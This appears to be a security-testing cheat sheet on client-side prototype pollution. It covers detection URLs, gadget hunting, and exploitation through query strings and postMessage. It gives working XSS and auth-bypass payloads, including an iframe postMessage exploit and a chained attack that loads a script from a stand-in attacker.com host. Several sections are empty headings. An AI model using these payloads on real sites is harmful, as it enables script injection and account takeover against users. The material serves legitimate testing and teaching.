Client-Side Prototype Pollution¶
Inject properties into JavaScript object prototypes to modify application behavior or achieve XSS.
TL;DR¶
// URL-based pollution
https://target.com/?__proto__[isAdmin]=true
// Verify in console
console.log({}.isAdmin); // "true" if vulnerable
How It Works¶
JavaScript objects inherit from Object.prototype. If attacker controls property assignment:
Detection¶
URL Parameter Testing¶
https://target.com/?__proto__[test]=polluted
https://target.com/?__proto__.test=polluted
https://target.com/?constructor[prototype][test]=polluted
Verify:
Find Gadgets¶
Look for code that accesses potentially polluted properties:
element.innerHTML = config.template || ''; // template pollutable
eval(settings.code);
location = options.redirect;
Exploitation¶
URL Parameter Pollution¶
Query string:
Hash fragment:
postMessage Pollution¶
<iframe src="https://vulnerable.com" id="target"></iframe>
<script>
target.onload = () => {
target.contentWindow.postMessage(
'{"__proto__":{"innerHTML":"<img src=x onerror=alert(1)>"}}',
'*'
);
};
</script>
DOM XSS via Prototype Pollution¶
innerHTML gadget:
// Application code
element.innerHTML = config.welcomeMessage || 'Hello';
// Pollution payload
?__proto__[welcomeMessage]=<img src=x onerror=alert(1)>
jQuery gadget:
// Application: $(config.selector).html(data);
// Pollution:
?__proto__[selector]=body&__proto__[html]=<script>alert(1)</script>
Auth Bypass¶
// Application code
if (user.isAdmin) { showAdminPanel(); }
// If user object checks prototype chain:
?__proto__[isAdmin]=true
Framework-Specific¶
AngularJS:
Vue.js:
Bypasses¶
Alternative Paths¶
Encoding¶
Gadget Hunting¶
Common Libraries¶
Lodash (< 4.17.12):
jQuery:
Search Patterns¶
// Vulnerable: no hasOwnProperty check
for (let key in obj) {
target[key] = obj[key];
}
// Vulnerable: dynamic property access
obj[userInput] = value;
// Gadget: default value patterns
config.prop || defaultValue
Real Examples¶
| Vulnerability | Impact | Target |
|---|---|---|
| $.extend pollution | XSS | jQuery |
| _.merge pollution | RCE (server) | Lodash |
| postMessage + merge | XSS | Multiple SPAs |
| URL param pollution | Auth bypass | Various |
Chained attack:
1. Pollution: ?__proto__[src]=https://attacker.com/xss.js
2. App creates: <script src={config.src}>
3. config.src undefined → falls back to prototype
4. Attacker script loads
Tools¶
| Tool | Purpose |
|---|---|
| Burp DOM Invader | Automated testing |
| PPScan | Prototype pollution scanner |
Manual Testing:
const params = ['__proto__', 'constructor.prototype'];
const props = ['polluted', 'innerHTML', 'src', 'isAdmin'];
params.forEach(p => {
props.forEach(prop => {
console.log(`Test: ?${p}[${prop}]=POLLUTED`);
});
});
Mitigation Indicators¶
Vulnerable:
Protected: